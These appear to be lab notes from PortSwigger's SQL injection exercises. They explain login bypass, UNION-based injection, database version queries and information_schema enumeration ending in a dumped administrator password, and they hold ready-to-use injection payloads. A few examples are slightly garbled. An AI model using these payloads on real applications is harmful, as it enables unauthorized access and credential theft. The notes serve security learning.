

# SQL Injection

PortSwigger Web Security Academy — Lab Notes

---

A consolidated, cleaned-up set of notes covering five hands-on labs: hidden data retrieval, login bypass, and UNION-based injection across Oracle, MySQL, and Microsoft SQL Server — including full database enumeration via `information_schema`.

## Contents

1. Foundations — Core SQL Injection Concepts
2. Lab 1 — Retrieving Hidden Data (Category Filter)
3. Lab 2 — SQL Login Bypass
4. Lab 3 — UNION Injection: Oracle Database Version
5. Lab 4 — UNION Injection: MySQL / MS SQL Server Version
6. Lab 5 — Listing Database Contents (`information_schema`)
7. Consolidated Key Takeaways & Cheat Sheet

# SQL Injection - Core Concepts

## What is SQL Injection?

SQL Injection (SQLi) is a vulnerability where **untrusted user input becomes part of a SQL query instead of being treated as plain data**. The attacker's goal is to change the SQL query that the database executes.

## Root Cause

A vulnerable application directly inserts user input into a SQL query, e.g.:

```
SELECT * FROM users
WHERE username = '$username'
AND password = '$password';
```

Instead of treating the input as data, the application mixes it with SQL syntax. The proper defense is **parameterized (prepared) statements**, where user input is always treated as data.

## Attacker Mindset

*Never think "I entered a payload." Instead think: "What SQL query did the server finally execute?" Everything in SQL Injection revolves around understanding the final SQL statement.*

## Why SQL Injection Works

The attacker normally controls only a small part of the SQL query:

```
SELECT name, price
FROM products
WHERE id = '<user input>';
```

The application controls everything except `<user input>`. If the input is inserted unsafely, the attacker can sometimes escape the intended value and inject valid SQL syntax.

## UNION-Based SQL Injection

### Purpose

Used when the website displays database query results. The attacker uses SQL's own grammar to extend the existing query.

Original query:

```
SELECT name, price
FROM products
WHERE id = '5';
```

Injected query:

```
SELECT name, price
FROM products
WHERE id = '5'
UNION
```

```
SELECT username, password
FROM users;
```

The database combines both SELECT results into one output.

## Why Use UNION?

In most web applications, the attacker **cannot replace the entire SQL query** - the application only executes **one SQL statement**. UNION is a legitimate SQL keyword that allows two SELECT statements to become **one valid SQL statement**. Without UNION, a bare SELECT username, password FROM users; can't simply replace the application's query, because the attacker only controls a small portion of it. UNION lets the attacker extend the existing query using valid SQL syntax.

*Important realization: UNION is not magic - it is simply valid SQL grammar. The attacker is exploiting SQL syntax to extend an existing query rather than replacing it.*

## Breaking the SQL Syntax

One of the first SQLi tests is simply entering a single quote:

```
'
```

Suppose the application generates:

```
SELECT * FROM items
WHERE id = '10';
```

Input: 10' → final query:

```
SELECT * FROM items
WHERE id = '10';
```

The extra quote breaks SQL syntax. If the application displays a database error, it strongly suggests the input reaches the SQL query unsafely.

## Logic Manipulation

Instead of breaking SQL, the attacker can inject valid SQL, e.g. 10' AND '1'='1':

```
SELECT * FROM items
WHERE id='10'
AND '1'='1';
```

This is valid SQL - the attacker changes the query's logic instead of breaking its syntax.

## Blind SQL Injection

Blind SQL Injection occurs when the input affects the SQL query, but the website does **not** display SQL errors or database data. The attacker infers information from the application's behavior instead of seeing output directly.

### Boolean-Based Blind SQLi

Original query:

```
SELECT * FROM items
WHERE id = 10;
```

Test 1 - ?id=10 AND 1=1:

```
SELECT * FROM items
WHERE id=10
AND 1=1;
```

Since 1=1 is TRUE, the product still appears.

Test 2 - ?id=10 AND 1=2:

```
SELECT * FROM items
WHERE id=10
AND 1=2;
```

Since 1=2 is FALSE, no rows match and the page changes (e.g. "Product Not Found") - proving the attacker can influence the SQL query.

### Why "Blind"?

The attacker cannot directly see usernames, passwords, database tables, or SQL errors. Instead they ask TRUE/FALSE questions - e.g. *"Does the first letter of the username equal 'a'?"* - and the page behaves differently depending on the answer. This lets them gradually reconstruct information one character at a time without ever seeing the database output directly.

## Time-Based Blind SQLi

Sometimes even TRUE/FALSE pages look identical. Instead of looking for visual differences, the attacker measures response time: if the condition is TRUE, delay the response. If the page suddenly takes several seconds longer to respond, the attacker knows the tested condition evaluated to TRUE.

## SQLi Testing Process

- Test if input reaches SQL (e.g. a single quote ').
- See whether SQL syntax breaks.
- Try changing SQL logic (TRUE/FALSE conditions).
- Determine SQLi type: UNION-based, error-based, or Blind (Boolean or Time-based).
- Extract information if possible.

## Important Notes

- Seeing an SQL syntax error after entering ' is a strong indication that user input reaches SQL.
- Not seeing an SQL error **does not** prove the application is secure.
- Modern applications often hide SQL errors.
- Even if errors are hidden, SQL Injection may still exist (Blind SQL Injection).

## Key Takeaways

- Always think about the final SQL query executed by the server, not just the payload you typed.
- UNION works because it is valid SQL syntax that extends an existing query.
- SQL Injection is fundamentally about manipulating SQL grammar.

- Blind SQL Injection means the attacker cannot see database output and must infer information from application behavior (page changes or response time).

# Retrieving Hidden Data — Category Filter

## Original SQL Query

```
SELECT * FROM products
WHERE category = 'Gifts'
AND released = 1;
```

- **SELECT \*** → return all columns.
- **FROM products** → read from the products table.
- **WHERE category='Gifts'** → only products in the Gifts category.
- **AND released=1** → only products that have been released — unreleased products (released=0) stay hidden.

## Injection Point

The vulnerable parameter is category, e.g. ?category=Gifts. Only the value of *category* is inserted into the SQL query.

## Important Discovery

Trying ?category=Gifts&released=0 does **not** work, because the application never reads a *released* URL parameter at all — it's hardcoded server-side as `AND released = 1`. Adding an extra HTTP parameter has no effect.

*Core idea: the goal isn't to add a new URL parameter — it's to change the SQL query itself, by injecting SQL inside the existing value.*

## Anatomy of the Payload

### ' — closing the string

Closes the existing SQL string. Without it, everything you type stays part of the category name (plain text, not SQL).

### OR 1=1 — always true

1=1 always evaluates to TRUE, so category='Gifts' OR 1=1 becomes true for every row in the table.

### -- — comment

Starts a SQL comment; everything after it is ignored — this is what removes `AND released=1` from execution.

## URL Encoding Note

A + in a URL parameter represents a **space**. So OR+1=1 decodes to OR 1=1.

# SQL Login Bypass

## Original Query

```
SELECT *  
FROM users  
WHERE username='administrator'  
AND password='secret';
```

## Goal

Don't guess the password — remove the password check entirely, so the logic effectively becomes just WHERE username='administrator'.

## Two Distinct Questions (clarified)

**Which HTML field receives the payload?** → the *Username* field.

**Which SQL condition are we trying to eliminate?** → AND password='... '.

*Both answers are correct — they're just answering two different questions (injection point vs. logic being bypassed), not contradicting each other.*

## UNION Injection — Oracle Database Version

This lab introduces a new concept. Previous labs modified existing SQL logic; this one executes an **entirely separate SELECT statement** and merges its results with the original query's output.

### What UNION Does

```
SELECT ...  
UNION  
SELECT ...
```

The database returns one combined result set from both SELECT statements.

### Step 1 — Find the Number of Columns

- ORDER BY 1 → worked
- ORDER BY 2 → worked
- ORDER BY 3 → Internal Server Error

**Conclusion:** the original query returns exactly 2 columns. If the query returns Column1 and Column2, ordering by 1 or 2 works, but ordering by a nonexistent 3rd column fails — the first failure reveals the total column count.

### UNION Rule

The injected SELECT must return the **exact same number of columns** as the original. Since this query has two columns, the injection must be UNION SELECT value1, value2 — a single value would fail.

### Finding Which Column Displays Text

```
UNION SELECT 'abc', NULL  
UNION SELECT NULL, 'abc'
```

Purpose: discover *where* text gets displayed on the page. 'abc' is just a literal string marker — not a column, variable, or table — it simply asks the database to return the exact text "abc".

### Oracle Quirk — FROM dual

Unlike MySQL/PostgreSQL, Oracle generally does not allow SELECT 'abc' without a table — it requires FROM dual:

```
SELECT 'abc'  
FROM dual;
```

**DUAL** is Oracle's built-in dummy table, used purely to return literal values without reading real data.

### On Evidence vs. Assumption

*Initially, UNION SELECT 'abc', NULL FROM dual didn't visibly show "abc" on the page — but that alone wasn't enough evidence to conclude Oracle hadn't returned the row. In a later lab, repeating the same payload showed "abc" appearing at the bottom of the product list — most likely the earlier lab behaved the same way and it just wasn't scrolled into view. Lesson: never claim something happened without evidence, and update conclusions*



*when new evidence appears.*

## Retrieving the Oracle Version

Oracle stores version info inside `v$version`, in a column called `BANNER`:

```
SELECT BANNER
FROM v$version;
```

Returns rows such as: Oracle Database..., PL/SQL Release..., CORE..., TNS..., NLSRTL...

Full injected query:

```
UNION
SELECT BANNER, NULL
FROM v$version
```

This combines the original product rows with the Oracle version rows into one result set.

## 'abc' vs. BANNER

- **'abc'** is a literal string — Oracle just echoes it back.
- **BANNER** is a real column name — Oracle reads the actual stored values.

## Biggest Conceptual Shift

Earlier labs manipulated the *existing* query (e.g. `OR 1=1` changing WHERE-clause logic). UNION-based labs instead run an entirely new `SELECT` and merge its answer into the original results.

## Complete UNION Workflow

- Confirm SQL injection is present.
- Determine the number of columns (`ORDER BY`).
- Match that number of columns in the `UNION SELECT`.
- Determine which columns can display text ('abc' markers).
- Replace the text marker with useful data (e.g. database version).

# UNION Injection — MySQL / MS SQL Server Version

## Step 1 — Number of Columns

```
' ORDER BY 1--+
' ORDER BY 2--+
' ORDER BY 3--+
```

Results: ORDER BY 1 ■ ORDER BY 2 ■ ORDER BY 3 ■ → the query returns exactly 2 columns.

## Why -- Failed but --+ Worked

In MySQL and Microsoft SQL Server, -- only starts a comment if it's followed by whitespace. The URL sequence --+ URL-decodes to -- followed by a space — so the database correctly recognizes it as a comment.

## Step 2 — Which Columns Accept Text

```
UNION SELECT 'abc', NULL
UNION SELECT NULL, 'abc'
```

No FROM dual needed here. Both columns displayed "abc" directly — unlike the Oracle lab, this time there was direct visual evidence on the page.

## Why No FROM dual?

Oracle requires every SELECT to read from a table, hence FROM dual. MySQL and MS SQL Server allow a bare SELECT 'abc'; with no dummy table needed — FROM dual is Oracle-specific.

## Retrieving the Version

```
SELECT @@version;
```

@@version is not a table or column — it's a built-in **system variable** holding the current database version, e.g. 8.0.42-Ubuntu0.20.04.1.

## Version Retrieval Differs by DBMS

| Database             | Version Query                  |
|----------------------|--------------------------------|
| Oracle               | SELECT BANNER FROM v\$version; |
| MySQL                | SELECT @@version;              |
| Microsoft SQL Server | SELECT @@version;              |
| PostgreSQL           | SELECT version();              |

## BANNER vs. @@version

- **Oracle:** BANNER is a column inside a system view — requires `SELECT BANNER FROM v$version`.
- **MySQL / MS SQL:** @@version is a built-in system variable — works standalone, no table needed.

### **Evidence vs. Assumption**

*The returned string "8.0.42-Ubuntu0.20.04.1" strongly matches MySQL's version format — that's the evidence. Concluding "this is MySQL" is the inference built on top of it. Always separate the two.*

# Listing Database Contents

## Objective

Retrieve usernames and passwords from the application's database.

## Standard Manual SQLi Workflow

- Confirm SQL injection.
- Find number of columns.
- Find text-display columns.
- Discover table names.
- Discover column names.
- Extract data.
- Use credentials.

## What is information\_schema?

A special database catalog containing **metadata** — information about the database itself (table names, column names, data types, schemas, views, permissions), not application data.

```
information_schema
■
■■■ tables
■■■ columns
■■■ views
■■■ routines
■■■ ...
```

### information\_schema.tables

Lists the names of every table:

```
SELECT table_name
FROM information_schema.tables;
```

Without a WHERE clause, this returns *every* table — application tables, internal tables, system tables, and framework tables alike, which is why the result set was so large.

### Filtering the Results

```
WHERE table_name LIKE '%user%'
```

This quickly revealed the randomized table `users_vrefio`. Note: `pg_user` was intentionally skipped — it's a PostgreSQL *system* table/view, not the application's own login table.

### information\_schema.columns

Lists every column inside every table:

```
SELECT column_name
FROM information_schema.columns
WHERE table_name='users_vrefio';
```

A typo in the table name initially returned nothing; after correcting it, the query returned: email, password\_bdbion, username\_miefjv.

*PortSwigger randomizes table/column names on purpose (e.g. users\_vrefio instead of users) — this forces enumeration instead of guessing.*

## Dumping the Credentials

```
SELECT username_miefjv,
password_bdbion
FROM users_vrefio;
```

Result: all usernames and passwords, including administrator / l7yugzx0c52i9q5skpqs — used to log in as administrator. Lab solved.

## Why Enumerate Instead of Guess?

Rather than guessing table names like *users*, *accounts*, *members*, or *customers*, we ask the database directly: what tables do you have → what columns does this table contain → give me the data. Enumeration via `information_schema` is far more reliable than guessing.

## Parameter vs. Value — Clarifying "Gifts"

Original URL: `category=Gifts` → parameter = `category`, value = `Gifts`. We never invented "Gifts" — we modified the existing parameter's *value*, e.g.:

```
category=Gifts'+ORDER+BY+1--+
```

If another valid category existed (e.g. `Pets`), the same injection pattern applied to that value would typically work too. The vulnerability lives in the value being inserted directly into SQL, not in the parameter name.

## Why Every Payload Starts With '

If the app executes `WHERE category='Gifts'` and we simply appended `ORDER BY 1` without closing the quote, it would become `WHERE category='Gifts ORDER BY 1'` — treated as plain text. Closing the string first with `'` lets everything afterward be interpreted as SQL code, and the trailing `--` comments out the rest of the original query.

## Commas vs. +

- `,` separates SQL columns — e.g. `SELECT NULL,'abc'` (without it, the SQL is invalid).
- `+` is not SQL syntax at all — it only represents a space once the URL is decoded.

# Consolidated Key Takeaways & Cheat Sheet

## Core Principles

- SQL injection happens inside **existing parameter values** — not by adding new HTTP parameters.
- ' closes the existing SQL string, letting your injected code run as SQL rather than text.
- OR 1=1 changes query logic to always evaluate true.
- -- comments out the rest of the original query (needs trailing whitespace in MySQL/MS SQL — hence - -+ in URLs).
- + in a URL represents a space after decoding — it is not SQL syntax.
- , separates columns in a SELECT/UNION statement.

## UNION-Based Injection

- UNION combines two SELECT result sets into one.
- Both SELECTs must return the **same number of columns**.
- Use ORDER BY n to discover the column count — the first number that errors reveals the total.
- Use literal markers like 'abc' to discover which columns display as text.

## Database-Specific Differences

|                       | Oracle                        | MySQL / MS SQL Server | PostgreSQL       |
|-----------------------|-------------------------------|-----------------------|------------------|
| <b>Literal SELECT</b> | Needs FROM dual               | Works standalone      | Works standalone |
| <b>Version query</b>  | SELECT BANNER FROM v\$version | SELECT @@version      | SELECT version() |

## Database Enumeration (information\_schema)

- information\_schema.tables → lists every table name.
- information\_schema.columns (filtered by table\_name) → lists every column in a table.
- Filter with LIKE '%keyword%' to cut through system/framework noise.
- Enumerate — don't guess — table and column names, especially when they're randomized.

## Scientific Mindset

*Distinguish carefully between what evidence actually proves and what is merely inferred. Don't assume something happened without visible proof — and when new evidence turns up later, update your conclusion rather than clinging to the earlier assumption.*